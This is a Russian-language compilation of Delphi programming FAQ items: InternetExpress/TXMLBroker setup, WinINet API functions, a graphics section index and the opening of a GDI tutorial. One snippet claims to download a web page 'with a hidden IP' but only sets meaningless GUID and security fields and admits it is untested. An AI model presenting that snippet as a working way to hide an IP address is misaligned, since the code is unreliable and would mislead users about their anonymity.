На этапе генерации содержания HTML-документа компонентом TMIDASPageProducer эти компоненты генерируют фрагменты HTML-кода, описывающего эквивалентные HTML-элементы. Эти фрагменты собираются TMIDASPageProducer в единый поток и подставляются вместо соответствующих тэгов в шаблоне документа. К элементам HTML привязываются обработчики на JavaScript, которые составляют аналог обработчиков событий для визуальных компонентов Delphi, таких, как OnClick и тому подобных. Отдельные компоненты PageItems позволяют напрямую задать мишень (target) для передачи сообщений (свойство Action) в формате URI, что позволяет осуществлять переход от одного HTML-документа к другому передачу параметров в формате протокола HTTP между этими документами.

За счет использования в TMIDASPageProducer шаблонов для генерации HTML-документов появляется возможность добавлять отдельные визуальные и невизуальные элементы HTML-документа прямым редактированием. Однако используя обработчики событий HTTP можно связывать такие элементы с генерируемыми по шаблону через компоненты TWebActionItem или при помощи создаваемых опять-таки прямым редактированием обработчиков на JavaScript внутри HTML-документа.

Компонент TXMLBroker

Этот компонент осуществляет передачу пакетов данных в формате XML от сервера приложений HTML-клиенту, получение изменений в данных от HTML-клиента, расшифровку разностных пакетов данных XML и передачу информации об изменениях в данных на сервер приложений. Реализация компонента находится в модуле xmlbrokr.

Компонент TXMLBroker может быть использован в приложении, которое одновременно является и MIDAS-клиентом, и серверным Web-приложением. Серверы такого класса как правило имеют две основные функции:

получать пакеты XML-данных от сервера приложений через интерфейс IAppServer.
oбрабатывать сообщения HTTP от броузеров, содержащие пакеты XML-данных с изменениями относительно исходного набора и передавать их серверу приложений.
Для того, чтобы сделать информацию, содержащуюся в базе данных, доступной в формате XML, достаточно добавить компонент TXMLBroker в контейнер WebModule совместно с компонентом TMIDASPageProducer, который будет использовать XML-пакеты данных для создания HTML-страниц.

TXMLBroker автоматически регистрирует себя в Web-модуле (или Web-диспетчере) как автодиспетчеризуемый объект (auto-dispatching object). Это означает, что Web-модуль или Web-диспетчер будут перенаправлять все входящие HTTP-сообщения непосредственно этому. Все входящие сообщения считаются данными для обновления, порождаемыми броузером в ответ на получение HTML-потока, порождаемого компонентом TApplyUpdatesButton. TXMLBroker автоматически передает пакет с XML-данным, содержащий различия в данных, на сервер приложений и возвращает все ошибки, возникшие при обновлении данных тому компоненту управления содержимым (TMIDASPageProducer) документа, который имеет возможность генерации соответствующего ответного сообщения

Свойство
Назначение

AppServer
Интерфейс IAppServer, служащий для связи с провайдерами (providers) данных

MaxErrors
Максимальное число ошибок, по достижении которого соответствующий провайдер должен прекратить операцию обновления данных.

MaxRecords
Управляет формированием пакетов данных XML.
Значение -1 позволяет компоненту передать все записи из набора данных в XML-пакет;
Значение 0 позволяет передачу только метаданных;
Значение больше нуля собственно определяет число записей (строк), которые могут быть переданы в XML-пакет.

Params
Список параметров, передаваемых серверу приложений. Используется, в частности, для передачи параметров хранимых процедур и SQL-запросов.

ProviderName
Имя провайдера данных

ReconcileProducer
Ссылка на компонент TReconcilePageProducer, который будет использоваться при разрешении конфликтов данных во время операций обновления.

WebDispatch
Перечисляет типы сообщений протокола HTTP, на которые будет реагировать компонент. Как правило, эти сообщения порождаются при нажатии кнопки типа TApplyUpdatesButton на HTML-странице.

Ключевые свойства компонента TXMLBroker

Построение Web-приложения на основе InternetExpress

Для создания Web-приложения необходимо наличие скомпилированного и зарегистрированного приложения-сервера данных. В данном примере используются данные из таблицы biolife.db, входящей в состав демонстрационной базы данных из комплекта Delphi 5. Данные публикуются через контейнер Remote Data Module.

Remote Data Module демонстрационного сервера данных

После создания и регистрации сервера данных необходимо создать клиента для этого сервера, который, в свою очередь, будет являться сервером для HTML-клиента, являющегося третьим звеном в нашей системе. Delphi 5 предоставляет специальный мастер для создания приложений-расширений Web-сервера. Он может быть вызван через меню File->New->Web Server Application и имеет следующий вид:

Мастер создания серверных Web-приложений.

В данном случае мы создаем CGI-приложение, выводящее порождаемый поток данных в устройство стандартного вывода (stdout). Поток данных этого приложения будет без изменений передан вызывающему документу через транспортный протокол.

Мастер автоматически создаст контейнер типа TWebModule, в который необходимо поместить компоненты TMIDASPageProducer и TXMLBroker. Сюда же мы поместим и компонент TDCOMConnection, который будем использовать для подключения с удаленным сервером данных, а также компонент TClientDataSet для доступа к удаленному модулю данных.

Контейнер WebModule с размещенными в нем компонентами TXMLBroker и TMIDASPageProducer.

Определив необходимые для соединения с удаленным сервером свойства, переходим к созданию содержимого HTML-документа. Для этого необходимо назначить для TXMLBroker свойства RemoteServer и ProviderName, а также создать хотя бы один компонент TWebActionItem, вызвав соответствующий редактор по правой кнопке мыши на компоненте TXMLBroker и TMIDASPageProducer.

Всплывающее меню и ActionEditor

Далее необходимо вызвать редактор Web-страниц, для чего необходимо выбрать пункт всплывающего меню компонента TMIDASPageProducer->Web Page Editor.

Примечание:

для работы этого элемента необходимо наличие установленного Microsoft Internet Explorer 4.0 и выше.

После добавления необходимых элементов мы получаем готовое к применению приложение Web-сервера. При установке параметров отображения HTML-документа можно воспользоваться свойствами компонента DataGrid и других элементов HTML-документа для придания ему необходимого внешнего вида, а также вручную доработать HTML-код в соответствующем встроенном редакторе.

Встроенное средство просмотра HTML. Красным выделены автоматически сгенерированные ссылки на библиотеки JavaScript.

После компиляции исполняемый модуль (в нашем примере - XMLServerApp.exe) необходимо поместить в каталог Web-сервера, для которого выделены права на запуск приложений. В этот же каталог необходимо поместить перечисленные в разделе "Серверная часть Internet-приложения на основе InternetExpress" библиотеки JavaScript. Для проверки правильности размещения библиотек можно воспользоваться специальным HTML-файлом scripttest.html, который находится в каталоге Demos\Midas\InternetExpress\TroubleShoot на компакт-диске Delphi 5 или в каталоге установки на жестком диске рабочей станции. Этот HTML-файл проверяет правильность размещения библиотек и настройки Web-сервера и в случае наличия тех или иных ошибок выдает некоторые рекомендации по разрешению проблем.

После того, как настройка закончена, можно обратиться к нашему приложению напрямую через протокол HTTP, поскольку оно порождает полноценный HTML-документ, не требующий дополнительной "обвязки".

Окно броузера Netscape Navigator со страницей, порожденной демонстрационным приложением InternetExpress.

Несколько советов

Демонстрационное приложение для данного обзора тестировалось под управлением серверов Apache 1.3.6 для платформы Win32 и Microsoft Personal Web Server. Сервер Apache после установки был сконфигурирован следующим образом:

В корневом каталоге документов был создан подкаталог iexpress (F:\inetpub\iexpress), в который были помещены файлы, необходимые для работы приложения InternetExpress (библиотеки JavaScript, файл err.html).
В файл mime.types (перечень mime-типов) была внесены исправления, определяющие библиотеки JavaScript для передачи на клиентское место, а для исполнения на сервере вводящие новое расширение:
text/javascript js
application/x-javascript jss
Свойству компонента TMIDASPageProducer.IncludePathURL было присвоено значение "/iexpress/" с целью указать местонахождение библиотек JavaScript, поскольку по умолчанию TMIDASPageProducer по умолчанию предполагает размещение этих файлов в том же каталоге, что и исполняемый (.exe) модуль, однако в случае использования Apache содержимое каталога /cgi-bin/ по умолчанию считается исполняемым на стороне сервера и требуется дополнительная настройка с целью определить модули с расширением .js и .html как неисполняемые.

Настройка MS Personal Web Server заключалась в определении дополнительного каталога для серверных приложений (того же что и для Apache) и задания для него соответствующих прав доступа (Read и Execute).

Как показало тестирование, при отладке приложений InternetExpress удобнее пользоваться броузером Netscape Navigator (использовались версии 4.61 и 4.7), поскольку в случае возникновения ошибок он дает более полную диагностическую информацию нежели MSIE, старающийся "защитить" пользователя от различных "загадочных" сообщений. К тому же Netscape корректно обрабатывает обращения к localhost в отсутствие соединения с Internet.

Для отладки приложений InternetExpress также удобнее создавать их в CGI-варианте, поскольку IIS, Personal Web Server и Apache не блокируют по записи CGI-приложения в отличие от ISAPI/ASP, которые захватываются кэш-системой этих серверов и для освобождения (например для перезаписи новой версией) exe-файла требуется остановка и повторный запуск web-сервера. В то же время преобразование CGI-приложение в ISAPI или ASP выполняется простой заменой включения (uses) модуля CGIApp на ISAPIApp в исходном тексте проекта.

Приводимое здесь демонстрационное приложение отнюдь не претендует на полноту и законченность. Для более полного ознакомления с возможностями InternetExpress рекомендуется обратиться к демонстрационным примерам из поставки Delphi 5 Enterprise, находящиеся в каталоге Runimage\Delphi50\Demos\Midas\InternetExpress на компакт-диске или в D:\Delphi5\Demos\Midas\InternetExpress (или ином, в зависимости от пути установки Delphi) на жестком диске. Внимательно прочитайте сопроводительные файлы к этим примерам, поскольку некоторые из них требуют специфических настроек Delphi и (или) Web-сервера.

Взято с http://delphiworld.narod.ru


Как загрузить webpage с скрытым IP?

{ Add a button and memo }

implementation

{$R *.dfm}

uses
  Urlmon;

procedure TForm1.Button1Click(Sender : TObject);
var
  ca : iinterface;
  rls : Integer;
  stat : iBindStatusCallBack;
  rr : Cardinal;
  tag : _tagBindInfo;
  exGuid : tguid;
  noIp : Pointer;
  res : HResult;
begin
  // Make a 0.0.0.0 ip giud
  exGuid.D1 := rr;
  exGuid.D2 := word('0');
  exGuid.D3 := word('.');
  // Set Tag options
  with tag do
  begin
    // set "0." ip guid
    iid := exGuid;
    // set needed size
    cbSize := sizeOf('www.big-x.cjb.net');
    // Add ip hiding ( not tested, but should work )
    securityAttributes.lpSecurityDescriptor := noIp;
    securityAttributes.nLength := length('0.0.0.0');
    securityAttributes.bInheritHandle := True;
  end;{
 Extra: res := stat.GetBindInfo(rr, tag);}
  //Start downloading webpage
  try
    urlmon.URLDownloadToFile(ca, 'www.big-x.cjb.net', 'filename.htm', 1, stat);
  except
    ShowMessage('Could not download the webpage!');
  end;
  //Load the webpage source to a memo
  memo1.Lines.LoadFromFile('filename.htm');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Где взять примеры использования Indy?

В стандартную поставку Дельфи примеры работы с компонентами Indy отсутствуют, но это не значит, что их нет. Надо обратиться на официальные сайты разработчиков этих компонентов:

http://www.indyproject.org/
http://www.nevrona.com/indy

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Использование Internet-функций Win32 API

Использование Internet-функций Win32 API (статья)
Previous Top Next

Internet так сильно вошел в нашу жизнь, что программа, так или иначе не использующая его возможности, обречена на "вымирание" почти как динозавры. Поэтому всех программистов, вне зависимости от квалификации и специализации так и тянет дописать до порой уж е готовой программы какой-то модуль для работы с Internet. Но тут и встает вопрос – как это сделать? Давайте рассмотрим, что нам предлагает среда Borland Delphi и Win32 API.

Во-первых, можно использовать компоненты с вкладки FastNet. Все они написаны фирмой NetMasters и поставляются без исходного кода. По многочисленным откликам различных разработчиков можно сказать, что большинство из них не выдерживает никакой критики, особ енно "отличились" компоненты для работы с почтой. Большинство проблем можно было бы исправить, но так как исходные тексты закрыты, то это вряд ли удастся. Даже если вы будете использовать такие вроде бы надежные компоненты как TNMHTTP, TNMFTP, то в случае распространения готовой программы перед вами встает проблема: для полноценной работы программа с этими компонентами требует наличия ряда динамических библиотек. Значит, их надо отыскать, потом поставлять вместе с приложением, копировать в системные папки … Короче говоря, все слишком запутано.

Если вам не требуется всей функциональности этих компонент, например, надо только реализовать функции GET или POST протокола HTTP, то можно поискать на сайтах с компонентами, вроде torry.ru – там обязательно сыщется много различных библиотек, по большей ч асти бесплатных, и с исходным кодом.

Но зачем нам что-то использовать, когда есть доступ к Win32 API ? Если приглядеться, то все эти компоненты всего лишь оболочка для вызова функций более низкого порядка. А раз так, то можно сразу их использовать. Кроме полного контроля над реализацией сете вых функций вы будете иметь и более компактный и быстрый код, так как устраняется прослойка между программой и API. Так что же такое Internet- функции Win32 API?

Все Internet- функции разбиты на категории:

· General Win32 Internet Functions - общие функции.
· Automatic Dialing Functions – функции для автодозвона.
· Uniform Resource Locator (URL) Functions – функции для работы с URL.
· FTP Functions – FTP- функции.
· Gopher Functions - Gopher- функции.
· HTTP Functions - HTTP- функции.
· Cookie Functions – Работа и управление файлами cookie.
· Persistent URL Cache Functions - работа с офф-лайном и кешем.

Всего функций довольно много, около 80, но для средних приложений большинство из них не понадобится. Рассмотрим, что можно использовать из первой категории. Из всех функций наибольший практический интерес представляют следующие:

// InternetCheckConnection
// позволяет узнать, есть ли уже соединение с Internet.

// Синтаксис:

function InternetCheckConnection(lpszUrl: PAnsiChar;
                                 dwFlags: DWORD;
                                 dwReserved: DWORD): BOOL; stdcall;

Если нужно проверить, есть ли соединение по конкретному URL, то параметр lpszUrl должен содержать нужный URL; если интересует, есть ли соединение вообще, установите его в nil. DwFlags может иметь значение только FLAG_ICC_FORCE_CONNECTION. Он делает следующее: если первый параметр не nil, то происходит попытка пропинговать указанный хост. Если параметр lpszUrl установлен в nil и есть соединение с другим сервером, то пингуется эт от хост.

Последнее значение , dwReserved, зарезервировано, и должно быть установлено в 0.

К сожалению, я не проверял эту функцию, когда писал статью... а жаль... вот что получаеться: константа FLAG_ICC_FORCE_CONNECTION вообще не описана в Дельфи. более того - ее нет ни в Microsoft Visual C++ 5 (!!!!), VBasic 5 тоже! едва нашел в C++ Builder 5.

Вот описание - const FLAG_ICC_FORCE_CONNECTION $00000001

Но! Даже с описанной константой ничего не работает так, как надо! Вот пример:

procedure TForm1.Button1Click(Sender: TObject);
var
 h:boolean;
begin
 h:= wininet.InternetCheckConnection(nil,$00000001,0);
 if
  h = True then
   Label1.Caption:='Соеденение с сервером 127.0.0.1 установлено.'
 else
  if h = false
   then
     Label1.Caption:='Соеденения с сервером 127.0.0.1 нет.';
end;

Запускаю вместе с сервером - вроде должно пинговать его. Но первый раз функция показывает что соеденение есть несмотря на то, стоит ли сервер, или нет. Потом все время выдает false. Если кто из читателей может пролить некоторый свет на проблему этой функции, очень прошу написать мне. Благодарю Суркиза Максима, который впервые обратил мое внимание на проблему.

InternetOpen

Функция возвращает значение TRUE, если компьютер соединен с Internet, и FALSE - в противном случае. Для получения более подробной информации о причинах неудачного выполнения функции вызовите GetLastError, которая возвратит код ошибки. Например, значение E RROR_NOT_CONNECTED информирует нас, что соединение не может быть установлено или компьютер работает в off-line.

// Далее рассмотрим одну из самых важных функций. Ее вы будете
// использовать всякий раз, когда нужно получить доступ к любому
// из серверов – будь то HTTP, FTP или Gopher. Речь идет о InternetOpen .

//Синтаксис:

function InternetOpen(lpszAgent: PChar;
                      dwAccessType: DWORD;
                      lpszProxy, lpszProxyBypass: PChar;
                      dwFlags: DWORD): HINTERNET; stdcall;

Параметры:

lpszAgent – строка символов, которая передается серверу и идентифицирует программное обеспечение, пославшее запрос.

dwAccessType - задает необходимые параметры доступа. Принимает следующие значения:
· INTERNET_OPEN_TYPE_DIRECT – обрабатывает все имена хостов локально.
· INTERNET_OPEN_TYPE_PRECONFIG – берет установки из реестра.
· INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY - берет установки из реестра и предотвращает запуск Jscript или Internet Setup (INS) файлов.
· INTERNET_OPEN_TYPE_PROXY – использование прокси-сервера. В случае неудачи использует INTERNET_OPEN_TYPE_DIRECT. LpszProxy – адрес прокси-сервера. Игнорируется только если параметр dwAccessType отличается от INTERNET_OPEN_TYPE_PROXY. LpszProxyBypass - спис ок имен или IP- адресов, соединяться с которыми нужно в обход прокси-сервера. В списке допускаются шаблоны. Так же, как и предыдущий параметр, не может содержать пустой строки. Если dwAccessType отличен от INTERNET_OPEN_TYPE_PROXY, то значения игнорируютс я, и параметр можно установить в nil. DwFlags – задает параметры, влияющие на поведение Internet- функций . Возможно применение комбинации из следующих разрешенных значений: INTERNET_FLAG_ASYNC, INTERNET_FLAG_FROM_CACHE, INTERNET_FLAG_OFFLINE.
Функция инициализирует использование Internet- функций Win32 API. В принципе, ваше приложение может неоднократно вызывать эту функцию, например, для доступа к различным сервисам, но обычно ее достаточно вызвать один раз. При последующих вызовах других фун кций возвращаемый указатель HINTERNET должен передаваться им первым. Таким образом, можно дважды вызвать InternetOpen, и, имея два разных указателя HINTERNET, работать с HTTP и FTP параллельно. В случае неудачи, она возвращает nil, и для более детального анализа следует вызвать GetLastError.

// Непосредственно с этой функцией связанна и еще одна, не
// менее важная: InternetCloseHandle.

// InternetCloseHandle

// Синтаксис:

function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;

Как единственный параметр, она принимает указатель, полученный функцией InternetOpen, и закрывает указанное соединение. В случае успешного закрытия сессии возвращается TRUE, иначе - FALSE. Если поток блокирует возможность вызова Wininet.dll, то другой пот ок приложения может вызвать функцию с тем же указателем, чтобы отменить последнюю команду и разблокировать поток.

// Мы уже установили соединение и знаем, как его закрыть. Теперь
// нам нужно соединиться с конкретным сервером, используя нужный
// протокол. В этом нам помогут следующие функции: InternetConnect

function InternetConnect (hInet: HINTERNET;
                          lpszServerName: PChar;
                          nServerPort: INTERNET_PORT;
                          lpszUsername: PChar;
                          lpszPassword: PChar;
                          dwService: DWORD;
                          dwFlags: DWORD;
                          dwContext: DWORD): HINTERNET; stdcall;

Функция открывает сессию с указанным сервером, используя протокол FTP, HTTP, Gopher. Параметры:

HInet – указатель, полученный после вызова InternetOpen.
LpszServerName – имя сервера, с которым нужно установить соединение. Может быть как именем хоста – domain.com.ua, так и IP- адресом – 134.123.44.66.
NServerPort – указывает на TCP/IP порт, с которым нужно соединиться. Для задания стандартных портов служат константы: NTERNET_DEFAULT_FTP_PORT (port 21), INTERNET_DEFAULT_GOPHER_PORT (port 70), INTERNET_DEFAULT_HTTP_PORT (port 80), INTERNET_DEFAULT_HTTPS_ PORT (port 443), INTERNET_DEFAULT_SOCKS_PORT (port 1080), INTERNET_INVALID_PORT_NUMBER – порт по умолчанию для сервиса, описанного в dwService. Стандартные порты для различных сервисов находятся в файле SERVICES в директории Windows.
LpszUsername – имя пользователя, желающего установить соединение. Если установлено в nil , то будет использовано имя по умолчанию, но для HTTP это вызовет исключение.
LpszPassword – пароль пользователя для доступа к серверу. Если оба значения установить в nil, то будут использованы параметры по умолчанию.
DwService – задает сервис, который требуется от сервера. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOPHER, INTERNET_SERVICE_HTTP.
DwFlags - Задает специфические параметры для соединения. Например, если DwService установлен в INTERNET_SERVICE_FTP, то можно установить в INTERNET_FLAG_PASSIVE для использования пассивного режима.
Функция возвращает указатель на установленную сессию или nil в случае невозможности ее установки.

Итак, мы имеем связь с сервером, нужный нам порт открыт. Теперь следует открыть соответствующй файл. Для этого определена функция InternetOpenUrl. Она принимает полный URL файла и возвращает указатель на него. Кстати, перед ее использованием не нужно вызы вать InternetConnect.

InternetOpenUrl

Синтаксис:

function InternetOpenUrl(hInet: HINTERNET;
                         lpszUrl: PChar;
                         lpszHeaders: PChar;
                         dwHeadersLength: DWORD;
                         dwFlags: DWORD;
                         dwContext: DWORD): HINTERNET; stdcall;

Параметры:

· HInet – указатель, полученный после вызова InternetOpen.
· LpszUrl – URL , до которого нужно получить доступ. Обязательно должен начинаться с указания протокола, по которому будет происходить соединение. Поддерживаются следующие протоколы - ftp:, gopher:, http:, https:.
· LpszHeaders – содержит заголовок HTTP запроса.
· DwHeadersLength – длина заголовка. Если заголовок nil, то можно установить значение –1, и длина будет вычислена автоматически.
· DwFlags – флаг, задающий дополнительные параметры перед выполнением функции. Вот некоторые его значения: INTERNET_ FLAG_EXISTING_CONNECT, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACH E_WRITE, INTERNET_FLAG_NO_COOKIES.

Возвращается значение TRUE, если соединение успешно, или FELSE - в противном случае. Теперь можно спокойно считывать нужный файл функцией InternetReadFile.

InternetReadFile

Синтаксис:

function InternetReadFile(hFile: HINTERNET;
                          lpBuffer: Pointer;
                          dwNumberOfBytesToRead: DWORD;
                          var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall;

Параметры:

· HFile – указатель на файл, полученный после вызова функции InternetOpenUrl.
· LpBuffer – указатель на буфер, куда будут заноситься данные.
· DwNumberOfBytesToRead - число байт, которое нужно причитать.
· lpdwNumberOfBytesRead - содержит количество прочитанных байтов. Устанавливается в 0 перед проверкой ошибок.

Функция позволяет считывать данные, используя указатель, полученный в результате вызова InternetOpenUrl, FtpOpenFile, GopherOpenFile, или HttpOpenRequest. Так же, как и все остальные функции, возвращает TRUE или FALSE. После завершения работы функции нужно освободить указатель Hfile, вызвав InternetCloseHandle(hUrlFile) .

Вот, в принципе, и все об самых основных функциях. Для простейшего приложения можно определить примерно такой упрощенный алгоритм использования Internet- функций Win32 API взамен стандартным компонентов. HSession:= InternetOpen - открывает сессию.

HConnect:= InternetConnect - устанавливает соединение.

hHttpFile:=httpOpenRequest

HttpSendRequest - HttpOpenRequest и HttpSendRequest используются вместе для получения доступа к файлу по HTTP- протоколу. Вызов HttpOpenRequest создает указатель и определяет необходимые параметры, а HttpOpenRequest отсылает запрос HTTP серверу, используя эти параметры.

function HttpOpenRequest(hConnect: HINTERNET;
                         lpszVerb: PChar;
                         lpszObjectName: PChar;
                         lpszVersion: PChar;
                         lpszReferrer: PChar;
                         lplpszAcceptTypes: PLPSTR;
                         dwFlags: DWORD;
                         dwContext: DWORD): HINTERNET; stdcall;

function HttpSendRequest(hRequest: HINTERNET;
                         lpszHeaders: PChar;
                         dwHeadersLength: DWORD;
                         lpOptional: Pointer;
                         dwOptionalLength: DWORD): BOOL; stdcall;

// HttpQueryInfo – используется для получения информации о файле.
// Вызывается после вызова HttpOpenRequest.

function HttpQueryInfo(hRequest: HINTERNET;
                       dwInfoLevel: DWORD;
                       lpvBuffer: Pointer;
                       var lpdwBufferLength: DWORD;
                       var lpdwReserved: DWORD): BOOL; stdcall;

· InternetReadFile - считывает нужный файл.
· InternetCloseHandle(hHttpFile) – освобождает указатель на файл.
· InternetCloseHandle(hConnect) - освобождает указатель на соединение.
· InternetCloseHandle(hSession) - освобождает указатель на сессию.
Объем статьи не позволяет подробно рассмотреть все множество функций, предоставляемых Win32 API. Это введение показало вам только вершину айсберга, а дальше дело за вами – внутренний мир WinAPI очень богат и большинство из того, что обеспечивают сторонние компоненты, можно отыскать в его недрах. Удачи вам!

Взято с http://delphiworld.narod.ru


Работа с графикой и мультимедиа

Cодержание раздела:

GDI - графика в Delphi

Работа со звуком
· пример использования DirectSound на Delphi
· Как проиграть файл не использую MediaPlayer ?
· Как проиграть Wave-ресурс?
· Как проигрывать 2 звука одновременно?
· Как выключить звук?
· Как определить продолжительность в секундах wav файла?
· Как проиграть wave file в обратную сторону?
· Как вывести звук через звуковую карту?
· Как экстрагировать аудиодорожку из AVI файла?
· Как изменить уровень громкости микрофона?
· Как играть MIDI без медиаплеера?
· Как определить bitrate WAV файла?
· Как проиграть wav из ресурса не сохраняя его в файл?
· Как проиграть ноту?
· Изменить громкость
· Низкоуровневые процедуры обработки звука
· Как использовать в своей программе API DirectSound и DirectSound3D
· Создание пустого wav-файла

Разные вопросы, связанные с графикой
· Как качественно увеличить изображение при помощи билинейной интерполяции
· Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?
· Оптимизация скинов для окошек сложной формы
· Как сделать выделение "резиновым прямоугольником"?
· Перемещать объект на сложном фоне New!
· Как добавить функции картографирования в приложение New!

Манипуляции с текстом
· Как вывести текст, написанный под углом?
· Как нарисовать disable текст
· Как преобразовать текст в иконку?
· Вывод надписи на рабочий стол
· Как вращать текст
· Как разместить прозрачную надпись на TBitmap?
· Вывод текста с эффектами

Работа с цветами и палитрами
· Что такое Цвет?
· Как получить hex-значение данного цвета?
· Преобразование цвета RGB <-> HLS
· Как сделать стандартные цвета в Delphi светлее или темнее
· Как преобразовать цвет в оттенки серого
· Как разбить "цвет" на составляющие и наоборот?
· TColor --> String
· String --> TColor
· Смешиваем два цвета.
· Как преобразовать цвета RGB в CMYK и обратно
· Градиентная заливка и сложение цветов
· Как конвертировать RGB в TColor
· Как определить цвет код произвольной точки экрана?
· Число цветов (цветовая палитра) у данного компьютера Updated!
· Как изменить фоновый цвет текста?
· Как получить более светлый или более тёмный цвет?
· Как получить средний цвет между двумя цветами?
· Дополнительные константы цветов
· Как работать с палитрой в Delphi?
· Как найти контрастный цвет к данному?
· Как выбрать цвет пользуя TTrackBar
· Как создать цветовую паллитру
· Изменение цветовой палитры изображения
· Как можно узнать количество цветов текущего режима
· Как получить цвет строки в HTML формате
· Как преобразовать шестнадцатиричный цвет HTML в TColor
· RGB --> Gray
· Получить и установить системные цвета
· Функция для работы с палитрами и RGB
· Изменение палитры при выводе изображения New!

Работа c Canvas
· Заполняет Canvas рисунком с рабочего стола, учитывая координаты
· Как создать временный canvas
· Как очистить canvas
· Как рисовать линии (или ещё что-нибудь) на экране (TDesktopCanvas)
· Почему методы рисования Delphi (например MoveTo и LineTo) рисуют на один пиксел короче?
· Как быстро нарисовать тень в заданном регионе?
· Как рисовать на компоненте, если свойство Canvas недоступно?
· Работа с изображением в памяти
· Как быстро выводить графику?
· Вывод текста на канве картинки
· TCanvas и освобождение дескрипторов
· Как поместить прозрачный текст на Canvas TBitmap
· Убрать зазубринки при рисовании линий
· Перемещать объект на сложном фоне
· Карта высот картинки
· Затенить компонент
· Рисование без мерцания
· Рисование графов
· Рисование КРИВЫХ в Delphi
· Рисование фрактальных графов

Работа с BitMap
· Bitmap в StringGrid ячейке.
· Как повернуть Bitmap на любой угол
· Как использовать TImageList для рисования прозрачных картинок
· Как нарисовать Bitmap с прозрачностью
· Как создать Bitmap из массива пикселей
· Как создать регион(HRNG) по маске
· Как поместить битмап в метафайл
· Как вставить растровое изображение в компонент ListBox?
· Как нарисовать радугу?
· Как из HBitmap получить адрес Bitmap в памяти?
· Bitmap.PixelFormat - подробности
· Прозрачный Bitmap
· Назначение палитры Bitmap
· Загрузка Bitmap из .res без потери палитры
· Загрузка 256-цветного TBitmap
· Bitmap без формы

Работа с видео и анимацией
· Как экстрагировать фрейм из AVI?
· Как получить картинку с видео источника
· Как прочитать свойства видеофайла?
· Как показать видео на полном экране?
· Как сделать анимацию немерцающей
· Анимация без DirectX
· Storing/Playing an .AVI file in a database
· Плавно превратить один рисунок в другой

Работа с метафайлами, векторыми изображениями
· Как нарисовать метафайл?
· Как получить доступ к объекту метафайла

Рисование в разных местах, захват изображения
· Как копировать образ экрана в файл
· Перетасовка экрана в Delphi
· Как рисовать за пределами формы
· Как рисовать в чужом окне или по всему экрану
· Можно ли из Delphi рисовать в любой части экрана или в чужом окне?
· Копирование экрана
· Как сделать прямоугольник для выделения части картинки для редактирования New!

Графические фильтры и эффекты
· Как сделать colorize?
· Как создать disable битмап из обычного (emboss etc)?
· Получение Gaussian Blur
· Как использовать anti-aliasing?
· Как изменить яркость и контраст?
· Как работать с fade для TImage?
· Как сделать Twist / Swirl эффект
· Как сделать wipe эффект
· Как сделать 24bit dithering?
· Как сделать greyscale dithering?
· Как добавить когерентный шум?
· эффект плавного перехода
· Качественно уменьшить изображение
· Spray effect New!
· Sharpen a Bitmap New!
· Как сделать Thumbnails? New!
· Плавно превратить один рисунок в другой New!

Черчение
· Как начертить круг?
· Как начертить hexagon?
· Как повернуть элипс?
· Как изменить размеры полигона?
· Создание PolyPolygon используя массив точек?

DerectX, OpenGL
· Что такое DirectShow?
· Пример использования DirectInput для опроса клавиатуры
· OpenGL - радиальное размытие
· Экспорт анимированных 3D персонажей из 3D STUDIO MAX 3.0 для DELPHI и OpenGL
· Работа с OpenGL - Введение
· Работа с OpenGL - Минимальная программа
· О DelphiX
· DirectX и Delphi - введение
· DirectX и Delphi
· DirectX для начинающих. Считывание и запись
· DirectX для начинающих. Часть вторая
· DirectX (Игровой SDK)
· Blitting, Спрайты и Анимация
· 3d engines для Дельфи
· OpenGL: Каким обpазом выбиpать pазмеp шpифта

См. также другие разделы:
Звук

См. также статьи в других разделах:
Шрифты, языки, кодировки, регионарные стандарты
Алгоритмы работы с графикой
Курсоры
Иконки
Видеокарта, Монитор
Проблемы при работе с Blob полями
Image, Icon, Shape
Форматы файлов, данных. Конвертация форматов
Delphi и Corel Draw.
Delphi и Flash
Работа с Photoshop


GDI - графика в Delphi

Автор: Alistair Keys

Жаргон GDI.

GDI расшифровывается как Graphics Device Interface, и представляет собой интерфейс, который Windows использует для рисования 2D графики. Также это самый медленный способ отображения графики из существующих, однако самый простой для понимания основ. Итак, для начала, поговорим об основных понятиях и терминах в GDI.

Начнём с того, что GDI обычно не используют для создания крутых графических эффектов, для этого есть DirectX, OpenGL, или любые графические библиотеки (такие как: DelphiX, FastLib, DIBUltra, Graphics32...). Однако, для создание простых эффектов с минимальными усилиями GDI вполне сгодится.

С GDI тесно связана ещё одна аббревиатура - DC ("Device Context" - контекст устройства). Это то, на чём мы рисуем, и в Delphi контекст устройства представлен как TCanvas. Идея контекста устройства заключается в том, что это универсальное устройство вывода, поэтому можно использовать одинаковые функции как для экрана, так и для принтера.

Все графические функции в Delphi являются надстройками над стандартными GDI функциями Windows. Позже мы поговорим об этих функциях.

А теперь самое время приступить к рассмотрению того, как устроен GDI. Ниже, в таблице, представлены некоторые важные классы:

Pen Используется для рисования простых линий. Обычно применяется для функции LineTo или при рисовании рамки для определённой фигуры (например для функции Rectangle).

Brush Кисть используется для заполнения области определённым цветом. Применяется в функциях Rectangle, FillRect или FloodFill.

Font Используется для задания шрифта, которым будет нарисован текст. Можно указать имя шрифта, размер и т.д.

Region Позволяет задать регион (замкнутое пространство). Регионом может быть круг, квадрат или произвольная фигура. Позволяет так же делать дырки в фигурах.

Однако, пора переходить от слов к делу, а именно, начать рисовать линии и фигуры.

Рисование линий

Сперва необходимо чётко уяснить, что координата (0,0) это верхний левый угол экрана. То есть значения по оси y увеличиваются вниз экрана. Соответственно, координата (0, 50) означает, что мы просто отступили на 50 пикселей от верха экрана.

Самое главное, что надо знать при рисовании линий и фигур, это различие между пером (Pen) и кистью (Brush). Всё очень просто: перо (Pen) используется при рисовании линий или рамок, а кисть (Brush) для заполнения фигуры.

Ниже приведены две функции, которые используются для рисования линий и обе принадлежат TCanvas:

MoveTo Перемещает точку начала рисования линии в указанные координаты x и y Canvas.MoveTo(50, 100);

